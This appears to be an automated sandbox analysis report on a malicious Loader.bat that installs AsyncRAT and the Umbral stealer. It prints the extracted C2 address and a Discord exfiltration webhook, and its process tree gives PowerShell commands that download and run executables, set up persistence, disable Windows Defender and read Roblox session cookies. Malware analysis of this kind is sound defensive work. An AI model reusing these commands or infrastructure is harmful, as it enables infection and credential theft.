Analysis

  • max time kernel
    870s
  • max time network
    871s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    25-11-2024 12:24

General

  • Target

    Loader.bat

  • Size

    1KB

  • MD5

    84d66a793f6d1f8fb1f4726ee735f55e

  • SHA1

    db7f145a9685a3911f02bbc61a02546da06e68d9

  • SHA256

    504e74f223f13c996066449c7f279eb32a61f80f80c9e87d31cfdca6fee7373f

  • SHA512

    ab172682c693815c9bb902f395632785e0b24981f05eef61244c4311aabb79f94a4af9e1dc978ab2f3caa5b4db1b5cdd2ad896a61d4d8bb747750d702f1b907e

Malware Config

Extracted

Family

asyncrat

Botnet

Default

C2

technical-southwest.gl.at.ply.gg:58694

Attributes
  • delay

    1

  • install

    true

  • install_file

    WINDOWS.exe

  • install_folder

    %AppData%

aes.plain

Extracted

Family

umbral

C2

https://discordapp.com/api/webhooks/1310580388070031360/HcT5cAwFckSLk1OKu346uVDw7gzPyJJvcWmU8BKJrBQSUsE3Q1GCqDtVn5MK3JlldJBn

Signatures

  • AsyncRat

    AsyncRAT is designed to remotely monitor and control other computers written in C#.

  • Asyncrat family
  • Detect Umbral payload 2 IoCs
  • Umbral

    Umbral stealer is an opensource moduler stealer written in C#.

  • Umbral family
  • Async RAT payload 1 IoCs
  • Blocklisted process makes network request 4 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 8 IoCs

    Using powershell.exe command.

  • Downloads MZ/PE file
  • Drops file in Drivers directory 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 2 IoCs
  • Executes dropped EXE 3 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • Delays execution with timeout.exe 1 IoCs
  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Runs ping.exe 1 TTPs 1 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 46 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Loader.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3832
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Invoke-WebRequest -Uri https://github.com/Realmastercoder69/uu/releases/download/dss/Loader.exe -OutFile C:\Users\Admin\Desktop\output.exe -ErrorAction SilentlyContinue"
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2836
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "$WScriptShell = New-Object -ComObject WScript.Shell; $shortcut1 = $WScriptShell.CreateShortcut('C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\output.lnk'); $shortcut1.TargetPath = 'C:\Users\Admin\Desktop\output.exe'; $shortcut1.Save()"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Drops startup file
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:972
    • C:\Users\Admin\Desktop\output.exe
      C:\Users\Admin\Desktop\output.exe
      2⤵
      • Checks computer location settings
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3172
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "WINDOWS" /tr '"C:\Users\Admin\AppData\Roaming\WINDOWS.exe"' & exit
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4296
        • C:\Windows\system32\schtasks.exe
          schtasks /create /f /sc onlogon /rl highest /tn "WINDOWS" /tr '"C:\Users\Admin\AppData\Roaming\WINDOWS.exe"'
          4⤵
          • Scheduled Task/Job: Scheduled Task
          PID:752
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpCDFE.tmp.bat""
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:660
        • C:\Windows\system32\timeout.exe
          timeout 3
          4⤵
          • Delays execution with timeout.exe
          PID:1112
        • C:\Users\Admin\AppData\Roaming\WINDOWS.exe
          "C:\Users\Admin\AppData\Roaming\WINDOWS.exe"
          4⤵
          • Executes dropped EXE
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:780
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Invoke-WebRequest -Uri https://github.com/Realmastercoder69/dsafffffffff/releases/download/dasa/saloader.exe -OutFile C:\Users\Admin\Desktop\Loader.exe -ErrorAction SilentlyContinue"
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2948
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "$WScriptShell = New-Object -ComObject WScript.Shell; $shortcut2 = $WScriptShell.CreateShortcut('C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Loader.lnk'); $shortcut2.TargetPath = 'C:\Users\Admin\Desktop\Loader.exe'; $shortcut2.Save()"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Drops startup file
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2232
    • C:\Users\Admin\Desktop\Loader.exe
      C:\Users\Admin\Desktop\Loader.exe
      2⤵
      • Drops file in Drivers directory
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1012
      • C:\Windows\SYSTEM32\attrib.exe
        "attrib.exe" +h +s "C:\Users\Admin\Desktop\Loader.exe"
        3⤵
        • Views/modifies file attributes
        PID:2284
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\Desktop\Loader.exe'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4232
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4532
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2336
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:368
      • C:\Windows\System32\Wbem\wmic.exe
        "wmic.exe" os get Caption
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:400
      • C:\Windows\System32\Wbem\wmic.exe
        "wmic.exe" computersystem get totalphysicalmemory
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:3612
      • C:\Windows\System32\Wbem\wmic.exe
        "wmic.exe" csproduct get uuid
        3⤵
          PID:1112
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
          3⤵
          • Command and Scripting Interpreter: PowerShell
          PID:660
        • C:\Windows\System32\Wbem\wmic.exe
          "wmic" path win32_VideoController get name
          3⤵
          • Detects videocard installed
          PID:1084
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\Desktop\Loader.exe" && pause
          3⤵
          • System Network Configuration Discovery: Internet Connection Discovery
          • Suspicious use of WriteProcessMemory
          PID:4548
          • C:\Windows\system32\PING.EXE
            ping localhost
            4⤵
            • System Network Configuration Discovery: Internet Connection Discovery
            • Runs ping.exe
            PID:404

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

      Filesize

      2KB

      MD5

      2f57fde6b33e89a63cf0dfdd6e60a351

      SHA1

      445bf1b07223a04f8a159581a3d37d630273010f

      SHA256

      3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55

      SHA512

      42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

      Filesize

      948B

      MD5

      dcd83f3a9bd52a6c0821eb961e87f0b9

      SHA1

      553ced8b5bdca9bf3379571948efe530628e78ea

      SHA256

      da3851259b355076f41331c3864fdcd7688b05ca312f6fcdb420f710ed7cfeaa

      SHA512

      fd76f13f1c8f1e73be04a615c9b010dde5cbf889642d187d410db32d4fdda9d0e994654fa468643ed8fe7563c07a8d1df30b2f5b26856946ed9b2d18d10a4fa5

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

      Filesize

      1KB

      MD5

      b0a78e60bfb279d18fd3d6e7a67411f5

      SHA1

      9344fe3654a14bc66afb9dc6ea215fabfbe5c906

      SHA256

      a28890c82033d3deaf5770ecd1b0239c77321acc93704b1d4b1e167b91e30aeb

      SHA512

      9548be23bec645cd705482f78d43b63659e38cf879c34f7071f42fd86ee02039379a5e92fbe0f1c74c12aaebabdd8002f57eba111d3e855cbd0c89a110e346f2

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

      Filesize

      1KB

      MD5

      77fad1dec6867fb7dd395c25c46d8ae5

      SHA1

      abfecfd6c63bb35ec88d98ef210adefc139d793e

      SHA256

      02b0ab469998ac630b421de245ee243599422e7f2c2f9714085fc5b837891784

      SHA512

      ac8d9d660992d076e46ffdb7422d4916789a7ca2f5737c711449f518745dee197ed1c08e50f81f92cb7d2d1ea94fe024e77a8295e1be05c5a49a0fd7495776d3

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

      Filesize

      1KB

      MD5

      c20ac38ae3022e305b8752804aadf486

      SHA1

      4c144d6cfafb5c37ab4810ff3c1744df81493cdb

      SHA256

      03cba7e903a418a3966af1dc0debfb5fcfb2ac6d372ec48cb1b93c23e0fd1caf

      SHA512

      c9def9e5cd09d19b8b47a3f4c61893da715a6ba4b9933c885386d0425ee4ccc30d75eac1097511619d4e6259a46581f803fb38f78a15339391e4e78b0b6153e0

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

      Filesize

      1KB

      MD5

      0d68ba3a1f3a0d52f60add29746c7d1f

      SHA1

      338da2ff46fd31d51130eb1c6388c307337ddc70

      SHA256

      ba94d0bf724cd9dffc8c938c4c0ef185789370ae1d7d5cca2c3aacf81e4c6a70

      SHA512

      496c3574c5a65e8daffe3ffdd6ab2dc0bd64035364c1bdb8c3a675f6190af53576bc881e49e1e79fb07c36ef3fcecbbde7ebbec9dcc695c98981116ba2624cc5

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

      Filesize

      1KB

      MD5

      2419d068e09423d5e7edec9bb8010870

      SHA1

      445b4a6ebefa37ee91ff5a18a3b8e6ae6af40fba

      SHA256

      d308e6cb382517e03b6773d345b2e68e57fe80ce636901ab95da87ba29d6c0ac

      SHA512

      053cb92ad73f842f22200dd39082a22474277816b1de63a722b881225218849e1d5038fe3caec8f2067c5e6ab593917d1ad7278038c154077e7e2b14d72f3264

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

      Filesize

      1KB

      MD5

      3bc3d3f73fc81d9d1a8a4b17192aa35a

      SHA1

      d017d278395183edb0db4a301dacc57285d59a5c

      SHA256

      934a29e6c90140621824a91cd5d60a3c42a62207ad3fa4d6581ad2a6310cf614

      SHA512

      bf8c596f6c109bd6d932696c65c46f054033ffd3e39433ac69a3d6e91a0c28dfd73ca5a75a206ac1707a2b6cb57ba2b44ee8fadca2aad584439f280617d42134

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

      Filesize

      944B

      MD5

      bcc5263a9f80170c1204a8b086681657

      SHA1

      26d32ba23717e860f005c9efbb0810978321ac41

      SHA256

      eadf1bd4601c7a7084f4874e6769f325c9bbc91c4e7509cde5b46be24f4a3e44

      SHA512

      e2c7fb7baef5d1e55db07c489f2d8993a1b5adde965a603a7eb91d9ffc0d04944d37bb313ee73196e921975da056c3efb7e8603bc3033285801ac0da8715a19f

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_si2uug1u.5tb.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • C:\Users\Admin\AppData\Local\Temp\tmpCDFE.tmp.bat

      Filesize

      151B

      MD5

      8834b543fb391f945beab10071f6e569

      SHA1

      c162b9d37064f89b0abcf2c4c8655654ace85b31

      SHA256

      595d874dad985ba4271e78ad0bb602cf330a88e6459ea35a17b0974381b22202

      SHA512

      88211b7ff14776d838a4e60423a92da096ad5e99da39f27f13d4ff7eeaf5e377cccb12c373fb80caa256fce58607bc66fdc35236a6d5ef3fa15cdd8939772469

    • C:\Users\Admin\Desktop\Loader.exe

      Filesize

      229KB

      MD5

      1e10af7811808fc24065f18535cf1220

      SHA1

      65995bcb862aa66988e1bb0dbff75dcac9b400c7

      SHA256

      e07fd0ac793b06603be164c9ee73465af512cf17bed07614cbcd2a8410f04eed

      SHA512

      f1c623918a3701254805e7648d671b316446a0f98637d3de62d44331cf91502afb57ccb762472491bc4ac037fbf5f7b624eb9d39092b3be0b2ed84da6f3acadc

    • C:\Users\Admin\Desktop\output.exe

      Filesize

      63KB

      MD5

      7ceb11ebb7a55e33a82bc3b66f554e79

      SHA1

      8dfd574ad06ded662d92d81b72f14c1914ac45b5

      SHA256

      aea3e89e45a33441bcd06c990282f8601eb960a641c611222dce2fe09685e603

      SHA512

      d8cd7af50996015163c8926fc7b6df6a6e2c0b3f6c8fcff37cad5b72fed115f7134723d99f61a20576b83e67107a3a410f5ef2312191446b3d0759cb739e6ccd

    • memory/660-152-0x000002486D9A0000-0x000002486D9E8000-memory.dmp

      Filesize

      288KB

    • memory/660-153-0x000002486DB10000-0x000002486DD2C000-memory.dmp

      Filesize

      2.1MB

    • memory/780-159-0x0000000002460000-0x0000000002494000-memory.dmp

      Filesize

      208KB

    • memory/972-18-0x00007FFD9C520000-0x00007FFD9CFE1000-memory.dmp

      Filesize

      10.8MB

    • memory/972-33-0x00007FFD9C520000-0x00007FFD9CFE1000-memory.dmp

      Filesize

      10.8MB

    • memory/972-19-0x00007FFD9C520000-0x00007FFD9CFE1000-memory.dmp

      Filesize

      10.8MB

    • memory/1012-95-0x000001ABB71A0000-0x000001ABB7216000-memory.dmp

      Filesize

      472KB

    • memory/1012-70-0x000001AB9CC90000-0x000001AB9CCD0000-memory.dmp

      Filesize

      256KB

    • memory/1012-96-0x000001AB9EA70000-0x000001AB9EAC0000-memory.dmp

      Filesize

      320KB

    • memory/1012-97-0x000001AB9EA30000-0x000001AB9EA4E000-memory.dmp

      Filesize

      120KB

    • memory/1012-136-0x000001AB9EAC0000-0x000001AB9EACA000-memory.dmp

      Filesize

      40KB

    • memory/1012-137-0x000001ABB7600000-0x000001ABB7612000-memory.dmp

      Filesize

      72KB

    • memory/2836-0-0x00007FFD9C523000-0x00007FFD9C525000-memory.dmp

      Filesize

      8KB

    • memory/2836-16-0x00007FFD9C520000-0x00007FFD9CFE1000-memory.dmp

      Filesize

      10.8MB

    • memory/2836-12-0x00007FFD9C520000-0x00007FFD9CFE1000-memory.dmp

      Filesize

      10.8MB

    • memory/2836-11-0x00007FFD9C520000-0x00007FFD9CFE1000-memory.dmp

      Filesize

      10.8MB

    • memory/2836-1-0x000001CE2A7D0000-0x000001CE2A7F2000-memory.dmp

      Filesize

      136KB

    • memory/3172-35-0x0000000000F90000-0x0000000000FA6000-memory.dmp

      Filesize

      88KB